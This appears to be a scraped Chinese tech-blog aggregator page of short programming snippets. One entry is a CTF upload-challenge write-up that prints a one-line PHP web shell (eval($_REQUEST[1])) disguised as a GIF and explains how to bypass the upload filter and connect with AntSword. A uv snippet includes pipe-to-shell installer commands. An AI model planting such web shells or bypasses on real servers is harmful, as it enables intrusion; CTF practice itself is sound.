- C#基于Sunnyui框架和MVC模式实现用户登录管理
风,停下
#Winformc#mvc设计模式
C#基于Sunnyui框架和MVC模式实现用户登录管理1Controller1.1UserManagementController.cs(控制器入口)2Model2.1UserRepository.cs(用户管理模型)2.2User.cs(用户结构体)2.3SQLiteHelper.cs(数据库工具类)3View3.1LoginView.cs(用户登录窗体)3.2UserManagementFor
- Android studio进阶开发(四)--okhttp的网络通信的使用
隐-梵
androidstudioandroidideokhttp
我们之前学过了socket服务器,这次我们继续来学习网络热门编程http/https的使用与交互1)什么是Http协议?答:hypertexttransferprotocol(超文本传输协议),TCP/IP协议的一个应用层协议,用于定义WEB浏览器与WEB服务器之间交换数据的过程。客户端连上web服务器后,若想获得web服务器中的某个web资源,需遵守一定的通讯格式,HTTP协议用于定义客户端与w
- c#用特性实现aop_C#进阶系列——AOP?AOP!
weixin_39932762
c#用特性实现aop
前言:今天大阅兵,可是苦逼的博主还得坐在电脑前写博客,为了弄清楚AOP,博主也是拼了。这篇打算写写AOP,说起AOP,其实博主接触这个概念也才几个月,了解后才知道,原来之前自己写的好多代码原理就是基于AOP的,比如MVC的过滤器Filter,它里面的异常捕捉可以通过FilterAttribute,IExceptionFilter去处理,这两个对象的处理机制内部原理应该就是AOP,只不过之前没有这个
- WebRTC嵌入式ARM版本EasyRTC采用纯C设计,能支持市面上所有的嵌入式平台,尤其支持国产化系统、信创、鸿蒙
EasyRTC
EasyRTCwebrtcp2p实时音视频rtc嵌入式硬件
WebRTC的主要优势是支持浏览器内核之间的实时通信,尤其是现在App原生应用越来越少,小程序应用越来越多,WebRTC作为Web浏览器之间进行实时音频、视频和数据传输的能力协议,就特别凸显优势了。嵌入式WebRTC的p2p优势以前的p2p很难支持Web应用,老安防人应该知道,以前但凡提起p2p就会是几家专门做p2pSDK的公司,而这些公司提供的p2p属于端对端的SDK,就是设备端有设备端的SDK
- kubesphere部署单机版kafka4.0.0,使用Kraft模式
Sunnyingx
kafka分布式
yaml文件kind:StatefulSetapiVersion:apps/v1metadata:name:kafkaservernamespace:kafkanslabels:app:kafkaserverannotations:field.cattle.io/publicEndpoints:>-[{"port":30004,"protocol":"TCP","serviceName":"kaf
- 用uv管理python环境/项目(各种应用场景)
tao355667
Pythonuvpython开发语言
一、安装uv有python的情况pipinstalluvWindowspowershell-ExecutionPolicyByPass-c"irmhttps://astral.sh/uv/install.ps1|iex"linux或macOScurl-LsSfhttps://astral.sh/uv/install.sh|sh二、换镜像源uv不会读取pip的镜像源配置,所以要自己配置一下2.1针对
- Springboot解决跨域
好想斯
springboot后端java
什么是跨域?跨域就是发起请求的域和被请求资源所在域不同,只要域名,端口,协议只要有一件不同那都是跨域。本地开发时前后端分离也会被视为跨域。注意:跨域只发生在前端因为浏览器有同源策略要求。后端在请求其它域资源虽然也属于跨域但不会显示异常。在实际开发中:什么时候会造成跨域?假设我们从网站1访问网站2的资源可能由于域名(com.baidu.com从左到右分别是一级二级三级域名),协议(网页链接前面的ht
- Spring boot开启跨域配置
码农卿哥
springbootspringbootpython前端
Springboot开启跨域配置背景跨域(Cross-Origin)是指在互联网上的一个域下的文档或脚本尝试请求另一个域下的资源时,域名、协议或端口不同的这种情况。具体来说,如果一个网页试图通过脚本(如JavaScript)从不同源的服务器上请求数据,就会触发浏览器的同源策略限制,导致跨域问题。同源策略(Same-originpolicy)是Web浏览器的一个安全功能,它要求Web浏览器仅允许执行
- Python高频面试题4 - Session、Cookie、Token 核心区别与技术对比
孤寒者
Python全栈系列教程pythonsessioncookietoken高频面试题
目录:每篇前言:Session、Cookie、Token核心区别与技术对比1.Session(会话)2.Cookie3.Token(令牌)技术对比总结:每篇前言:作者介绍:【孤寒者】—CSDN全栈领域优质创作者、HDZ核心组成员、华为云享专家Python全栈领域博主、CSDN原力计划作者本文已收录于Python全栈系列教程专栏:《Python全栈系列教程》热门专栏推荐:《Python全栈系列教程》
- FastAPI系列06:FastAPI响应(Response)
GeekABC
PythonFastAPI实战fastapipythonweb开发语言
FastAPI响应(Response)1、Response入门2、Response基本操作设置响应体(返回数据)设置状态码设置响应头设置Cookies3、响应模型response_model4、响应类型response_classResponse派生类自定义response_class在“FastAPI系列05:FastAPI请求(Request)”一节中我们详细了解了FastAPI程序对请求参数
- 使用Jenkins实现CocosCreator的自动化构建和发布(1)-安装Jenkins
楚游香
JenkinsJenkinsCocosCreator
简介Jenkins是个独立的开源软件项目,它是基于Java开发的一种持续集成工具,可用于实现各种任务的自动化,如构建,测试和部署等。项目的日常开发中,编译构建是每天频繁要做的事情,如果开发的是H5游戏,还需要把构建后的版本上传到Web服务器,这都会占用或中断程序员不少宝贵的编码时间。借助Jenkins的自动化管理,任何人通过浏览器就可以一键完成以上工作,这样程序员只要专注于编码就可以了。Jenki
- 虽然 async/await 语法糖让异步代码更易读和维护,但在某些场景下
虽然async/await语法糖让异步代码更易读和维护,但在某些场景下,直接使用Promise会更合适,以下是一些具体情况:1.旧代码库或低版本环境场景描述:当你维护的是一个较旧的JavaScript项目,或者项目需要兼容不支持async/await的旧版本浏览器(如InternetExplorer)时,Promise是更好的选择。因为async/await是ES2017引入的特性,旧环境可能无法
- COMP2121 Data Mining
后端
SchoolofComputing:AssessmentbriefModuletitleDataMiningModulecodeCOMP2121AssignmenttitleAssessmentforCOMP2121DataMining,Semester22024/25AssignmenttypeanddescriptionAssessment1:TestsubmittedasMinervaMCQ
- yt-dlp 下载时需要 cookie
nongcunqq
笔记java开发语言
下载b站歌曲yt-dlp-x--proxyhttp://127.0.0.1:1080--audio-formatmp3https://www.bilibili.com/video/BV1Zn4y1X75b解决方案,使用firefox登录相关网站yt-dlp-o"downloads/%(title)s.%(ext)s"-f"bestvideo[height<=1080]+bestaudio/best
- [IDEA]idea 无法下载jar包的源代码
疯狂的洛必达
intellij-ideajarjavaidemaven
当你用IDEA导入一些第三方类库时,想点击一个类进去查看一个类的源代码时,IDEA会在右上角提示:DownloadSources,当你点击时却提示无法下载。解决办法就是使用终端工具打开项目根目录,然后输入命令:shellmvndependency:resolve-Dclassifier=sources这条命令会让Maven自动下载项目的第三方类库的JavaDoc,然后你就可以看源代码里面的文档了,
- Django入门 | Django快速上手
≯不见猫
python专题djangopython后端
目录一、什么是Django二、核心概念2.1模型(Model)2.2视图(View)2.3路由(URL)2.4DjangoRESTFramework(DRF)2.5Admin后台三、从零开始搭建Django后端3.1安装环境1)创建虚拟环境2)安装Django和DRF3.2创建Django项目1)初始化2)创建应用3)注册应用3.3定义数据模型3.4生成数据库1)创建迁移文件2)应用迁移3)创建超
- [ACTF2020 新生赛]Upload1
不拿flag不改名
androidctf
1、点开题目链接,页面显示如下,上传test.jpg里面包含一句话木马GIF89a?eval($_REQUEST[1])2、使用bp抓包修改后缀,点击发送3、不关浏览器的代理,在bp中将该包放行4、用蚁剑连接5、在根目录中找到flag
- Centos7 安装python3.8
云间星回
pythonlinux
***内容仅作为经验自用***1.下载python3.8源码包在虚拟机浏览器下载python源码包python3.8.0下载链接:https://www.python.org/ftp/python/3.8.0/Python-3.8.0rc1.tgz2.解压并安装python解压到/tmp路径下tar-zxvfPython-3.8.0.tgz-C/tmp/解压完成后进入cd/tmp/Python-3
- LLM并行计算的论文
ZhangJiQun&MXP
2021论文2021AIpython教学人工智能自然语言处理语言模型
LLM并行计算的论文基础并行计算方法相关《Gpipe:EfficientTrainingofGiantNeuralNetworksusingPipelineParallelism》:提出了Gpipe这种流水线并行方法,通过将数据批量进一步等分成若干microbatch,并以流水线的方式执行,减少计算中空泡的比例,极大地拓展了模型的规模,可应用于CNN和Transformer架构等,并且在设备通信等
- 《如何赢得朋友与影响他人》(作者:戴尔·卡耐基)被誉为“人际关系圣经”。这本书的核心是通过具体、实用的技巧,帮助读者改善人际关系、提升影响力,并在生活和工作中获得成功
南北极之间
阅读生活笔记经验分享程序人生学习职场和发展
《如何赢得朋友与影响他人》是由美国著名沟通与人际关系专家戴尔·卡耐基(DaleCarnegie)于1936年出版的一部经典著作,被誉为“人际交往的圣经”。这本书总结了多年来在交际、说服、建立良好关系方面的宝贵经验,通过实用的原则和技巧,帮助人们改善与他人的关系,赢得尊重与信任。这本书讲了什么?(详细解说)1.关键的原则和思想真诚赞赏:鼓励真心欣赏他人,避免虚伪,善于发现他人的优点,让对方感受到被重
- webpack5学习与实战-(六)-babel-loader解析js文件
笑道三千
#webpackjavascriptwebpack前端
在之前,使用css-loader来解析过css文件。那babel-loader则是用来解析js文件的。这是因为js的版本一直在更新,不断引入新的写法,但是浏览器的更新滞后,有些浏览器还不支持。所以就需要用babel-loader来进行转化成浏览器支持的写法。一,不使用babel-loader的时候我们在代码中写:functiongetString(){returnnewPromise((resol
- Webpack核心loader (三)—— babel-loader
采故事的女孩
Webpackwebpack
base-loader解析es6,将es6转化成es5,将react的jsx语法转化成浏览器可以认识的语言1.babel-loader//针对于babel的loader文件2.@babel/core//babel核心文件3.@babel/preset-env//解析更高级代码安装:cnpmibabel-loader@babel/core@babel/preset-env-Dbabael官网:htt
- vue项目的移动端适配方案
那颗星
vue.js前端javascript
方案:amfe-flexible+amfe-flexible1.amfe-flexibleamfe-flexible是配置可伸缩布局方案,主要是将1rem设为viewWidth/10。2.postcss-pxtorempostcss-pxtorem是postcss的插件,用于将像素单元生成rem单位。使用步骤1、先安装amfe-flexible和postcss-pxtoremnpminstalla
- git-gitee-克隆项目,报错Permission denied (publickey). fatal: Could not read from remote repository.
平静的大海
gitgitee
查找问题思路,1,设置本地信息和gitee等平台信息一致用户名和邮箱一致gitconfig--globaluser.name"username"//("username"是自己的账户名,)gitconfig--globaluser.email"username@email.com"//("username@email.com"注册账号时用的邮箱)2、生成公钥私钥,邮箱要记得加上,报错要重新生成,和
- Netmiko 源码解析
漫谈网络
NetDevOps智联空间自动化网络自动化网络自动化运维NetDevOps
1.源码结构概览Netmiko的代码库主要分为以下核心模块:netmiko/├──base_connection.py#连接基类(核心逻辑)├──cisco/#Cisco设备实现类├──juniper/#Juniper设备实现类├──hp_procurve/#HP设备实现类├──...#其他厂商目录├──ssh_dispatcher.py#设备类型与类的映射├──utilities.py#辅助函数
- Netmiko 源码关键流程图
漫谈网络
NetDevOps智联空间流程图网络自动化运维自动化NetDevOps
1.连接初始化流程用户调用ConnectHandler根据device_type选择厂商类创建ParamikoSSHClient建立SSH连接自动执行session_preparation进入enable模式关闭分页(terminallength0)连接就绪2.命令执行流程(send_command)UserNetmikoSSHChannelsend_command('showversion')写
- Webpack中之babel-loader作用
小码龙~
Webpackwebpack前端node.jsjavascript学习笔记
文章目录前言一、babel-loader是什么?二、使用步骤1.安装依赖2.配置信息总结前言babel-loader的作用和基本使用一、babel-loader是什么?在编写js代码时,经常需要使用一些js中的新特性,而新特性在旧的浏览器中兼容性并不好。此时就导致我们无法使用一些新的特性。babel就是这样一个工具,可以将新的js语法转换为旧的js,以提高代码的兼容性。我们如果希望在webpack
- 解锁Web数据存储:浏览器数据库 IndexedDB
昔冰_G
WebToolsIndexedDB前端数据库javascript
1、浏览器数据存储浏览器中的数据存储,日常接触较多的有Cookie、SessionStorage、LocalStorage,接下来引入一个重头嘉宾:IndexedDB;下面看它们四个在生命周期、存储大小、存储形式上的对比:Cookie[生命周期]由服务器生成,可以设置过期时间;过期后由浏览器自动清除;[存储空间]4KB[数据形式]以字符串键值对的形式存储数据;[配置项]Expires/Max-Ag
- 以&#开头的是什么编码?php如何将字符串转成ASCII码
蚊子爱喝水
PHPascii
今天遇到了一个网页时繁体的,它的title和meta信息在浏览器中显示正常,但是查看其源码是却是“万博彩”这种。网上找了资料后,得知,网页中&#开头的是HTML实体,一些字符在HTML中是预留的,拥有特殊的含义,HTML实体对照表:HTMLASCII参考手册那么问题来了中文汉字是转如何换成HTML实体的呢?其实很简单,汉字的HTML实体由三部分组成,”&#
- UnityURP 自定义PostProcess之深度图应用
SlowFeather
Unityunityshader
UnityURP自定义PostProcess之深度图前言项目Shader代码获取深度图ASE连线获取深度图前言在UnityURP中利用深度图可以实现以下两种简单的效果,其他设置参考UnityURP自定义PostProcess项目Shader代码获取深度图Shader"CustomPost/URPScreenTintShader"{Properties{_MainTex("Texture",2D)=
- ASM系列四 利用Method 组件动态注入方法逻辑
lijingyao8206
字节码技术jvmAOP动态代理ASM
这篇继续结合例子来深入了解下Method组件动态变更方法字节码的实现。通过前面一篇,知道ClassVisitor 的visitMethod()方法可以返回一个MethodVisitor的实例。那么我们也基本可以知道,同ClassVisitor改变类成员一样,MethodVIsistor如果需要改变方法成员,注入逻辑,也可以
- java编程思想 --内部类
百合不是茶
java内部类匿名内部类
内部类;了解外部类 并能与之通信 内部类写出来的代码更加整洁与优雅
1,内部类的创建 内部类是创建在类中的
package com.wj.InsideClass;
/*
* 内部类的创建
*/
public class CreateInsideClass {
public CreateInsideClass(
- web.xml报错
crabdave
web.xml
web.xml报错
The content of element type "web-app" must match "(icon?,display-
name?,description?,distributable?,context-param*,filter*,filter-mapping*,listener*,servlet*,s
- 泛型类的自定义
麦田的设计者
javaandroid泛型
为什么要定义泛型类,当类中要操作的引用数据类型不确定的时候。
采用泛型类,完成扩展。
例如有一个学生类
Student{
Student(){
System.out.println("I'm a student.....");
}
}
有一个老师类
- CSS清除浮动的4中方法
IT独行者
JavaScriptUIcss
清除浮动这个问题,做前端的应该再熟悉不过了,咱是个新人,所以还是记个笔记,做个积累,努力学习向大神靠近。CSS清除浮动的方法网上一搜,大概有N多种,用过几种,说下个人感受。
1、结尾处加空div标签 clear:both 1 2 3 4
.div
1
{
background
:
#000080
;
border
:
1px
s
- Cygwin使用windows的jdk 配置方法
_wy_
jdkwindowscygwin
1.[vim /etc/profile]
JAVA_HOME="/cgydrive/d/Java/jdk1.6.0_43" (windows下jdk路径为D:\Java\jdk1.6.0_43)
PATH="$JAVA_HOME/bin:${PATH}"
CLAS
- linux下安装maven
无量
mavenlinux安装
Linux下安装maven(转) 1.首先到Maven官网
下载安装文件,目前最新版本为3.0.3,下载文件为
apache-maven-3.0.3-bin.tar.gz,下载可以使用wget命令;
2.进入下载文件夹,找到下载的文件,运行如下命令解压
tar -xvf apache-maven-2.2.1-bin.tar.gz
解压后的文件夹
- tomcat的https 配置,syslog-ng配置
aichenglong
tomcathttp跳转到httpssyslong-ng配置syslog配置
1) tomcat配置https,以及http自动跳转到https的配置
1)TOMCAT_HOME目录下生成密钥(keytool是jdk中的命令)
keytool -genkey -alias tomcat -keyalg RSA -keypass changeit -storepass changeit
- 关于领号活动总结
alafqq
活动
关于某彩票活动的总结
具体需求,每个用户进活动页面,领取一个号码,1000中的一个;
活动要求
1,随机性,一定要有随机性;
2,最少中奖概率,如果注数为3200注,则最多中4注
3,效率问题,(不能每个人来都产生一个随机数,这样效率不高);
4,支持断电(仍然从下一个开始),重启服务;(存数据库有点大材小用,因此不能存放在数据库)
解决方案
1,事先产生随机数1000个,并打
- java数据结构 冒泡排序的遍历与排序
百合不是茶
java
java的冒泡排序是一种简单的排序规则
冒泡排序的原理:
比较两个相邻的数,首先将最大的排在第一个,第二次比较第二个 ,此后一样;
针对所有的元素重复以上的步骤,除了最后一个
例题;将int array[]
- JS检查输入框输入的是否是数字的一种校验方法
bijian1013
js
如下是JS检查输入框输入的是否是数字的一种校验方法:
<form method=post target="_blank">
数字:<input type="text" name=num onkeypress="checkNum(this.form)"><br>
</form>
- Test注解的两个属性:expected和timeout
bijian1013
javaJUnitexpectedtimeout
JUnit4:Test文档中的解释:
The Test annotation supports two optional parameters.
The first, expected, declares that a test method should throw an exception.
If it doesn't throw an exception or if it
- [Gson二]继承关系的POJO的反序列化
bit1129
POJO
父类
package inheritance.test2;
import java.util.Map;
public class Model {
private String field1;
private String field2;
private Map<String, String> infoMap
- 【Spark八十四】Spark零碎知识点记录
bit1129
spark
1. ShuffleMapTask的shuffle数据在什么地方记录到MapOutputTracker中的
ShuffleMapTask的runTask方法负责写数据到shuffle map文件中。当任务执行完成成功,DAGScheduler会收到通知,在DAGScheduler的handleTaskCompletion方法中完成记录到MapOutputTracker中
- WAS各种脚本作用大全
ronin47
WAS 脚本
http://www.ibm.com/developerworks/cn/websphere/library/samples/SampleScripts.html
无意中,在WAS官网上发现的各种脚本作用,感觉很有作用,先与各位分享一下
获取下载
这些示例 jacl 和 Jython 脚本可用于在 WebSphere Application Server 的不同版本中自
- java-12.求 1+2+3+..n不能使用乘除法、 for 、 while 、 if 、 else 、 switch 、 case 等关键字以及条件判断语句
bylijinnan
switch
借鉴网上的思路,用java实现:
public class NoIfWhile {
/**
* @param args
*
* find x=1+2+3+....n
*/
public static void main(String[] args) {
int n=10;
int re=find(n);
System.o
- Netty源码学习-ObjectEncoder和ObjectDecoder
bylijinnan
javanetty
Netty中传递对象的思路很直观:
Netty中数据的传递是基于ChannelBuffer(也就是byte[]);
那把对象序列化为字节流,就可以在Netty中传递对象了
相应的从ChannelBuffer恢复对象,就是反序列化的过程
Netty已经封装好ObjectEncoder和ObjectDecoder
先看ObjectEncoder
ObjectEncoder是往外发送
- spring 定时任务中cronExpression表达式含义
chicony
cronExpression
一个cron表达式有6个必选的元素和一个可选的元素,各个元素之间是以空格分隔的,从左至右,这些元素的含义如下表所示:
代表含义 是否必须 允许的取值范围 &nb
- Nutz配置Jndi
ctrain
JNDI
1、使用JNDI获取指定资源:
var ioc = {
dao : {
type :"org.nutz.dao.impl.NutDao",
args : [ {jndi :"jdbc/dataSource"} ]
}
}
以上方法,仅需要在容器中配置好数据源,注入到NutDao即可.
- 解决 /bin/sh^M: bad interpreter: No such file or directory
daizj
shell
在Linux中执行.sh脚本,异常/bin/sh^M: bad interpreter: No such file or directory。
分析:这是不同系统编码格式引起的:在windows系统中编辑的.sh文件可能有不可见字符,所以在Linux系统下执行会报以上异常信息。
解决:
1)在windows下转换:
利用一些编辑器如UltraEdit或EditPlus等工具
- [转]for 循环为何可恨?
dcj3sjt126com
程序员读书
Java的闭包(Closure)特征最近成为了一个热门话题。 一些精英正在起草一份议案,要在Java将来的版本中加入闭包特征。 然而,提议中的闭包语法以及语言上的这种扩充受到了众多Java程序员的猛烈抨击。
不久前,出版过数十本编程书籍的大作家Elliotte Rusty Harold发表了对Java中闭包的价值的质疑。 尤其是他问道“for 循环为何可恨?”[http://ju
- Android实用小技巧
dcj3sjt126com
android
1、去掉所有Activity界面的标题栏
修改AndroidManifest.xml 在application 标签中添加android:theme="@android:style/Theme.NoTitleBar"
2、去掉所有Activity界面的TitleBar 和StatusBar
修改AndroidManifes
- Oracle 复习笔记之序列
eksliang
Oracle 序列sequenceOracle sequence
转载请出自出处:http://eksliang.iteye.com/blog/2098859
1.序列的作用
序列是用于生成唯一、连续序号的对象
一般用序列来充当数据库表的主键值
2.创建序列语法如下:
create sequence s_emp
start with 1 --开始值
increment by 1 --増长值
maxval
- 有“品”的程序员
gongmeitao
工作
完美程序员的10种品质
完美程序员的每种品质都有一个范围,这个范围取决于具体的问题和背景。没有能解决所有问题的
完美程序员(至少在我们这个星球上),并且对于特定问题,完美程序员应该具有以下品质:
1. 才智非凡- 能够理解问题、能够用清晰可读的代码翻译并表达想法、善于分析并且逻辑思维能力强
(范围:用简单方式解决复杂问题)
- 使用KeleyiSQLHelper类进行分页查询
hvt
sql.netC#asp.nethovertree
本文适用于sql server单主键表或者视图进行分页查询,支持多字段排序。KeleyiSQLHelper类的最新代码请到http://hovertree.codeplex.com/SourceControl/latest下载整个解决方案源代码查看。或者直接在线查看类的代码:http://hovertree.codeplex.com/SourceControl/latest#HoverTree.D
- SVG 教程 (三)圆形,椭圆,直线
天梯梦
svg
SVG <circle> SVG 圆形 - <circle>
<circle> 标签可用来创建一个圆:
下面是SVG代码:
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" c
- 链表栈
luyulong
java数据结构
public class Node {
private Object object;
private Node next;
public Node() {
this.next = null;
this.object = null;
}
public Object getObject() {
return object;
}
public
- 基础数据结构和算法十:2-3 search tree
sunwinner
Algorithm2-3 search tree
Binary search tree works well for a wide variety of applications, but they have poor worst-case performance. Now we introduce a type of binary search tree where costs are guaranteed to be loga
- spring配置定时任务
stunizhengjia
springtimer
最近因工作的需要,用到了spring的定时任务的功能,觉得spring还是很智能化的,只需要配置一下配置文件就可以了,在此记录一下,以便以后用到:
//------------------------定时任务调用的方法------------------------------
/**
* 存储过程定时器
*/
publi
- ITeye 8月技术图书有奖试读获奖名单公布
ITeye管理员
活动
ITeye携手博文视点举办的8月技术图书有奖试读活动已圆满结束,非常感谢广大用户对本次活动的关注与参与。
8月试读活动回顾:
http://webmaster.iteye.com/blog/2102830
本次技术图书试读活动的优秀奖获奖名单及相应作品如下(优秀文章有很多,但名额有限,没获奖并不代表不优秀):
《跨终端Web》
gleams:http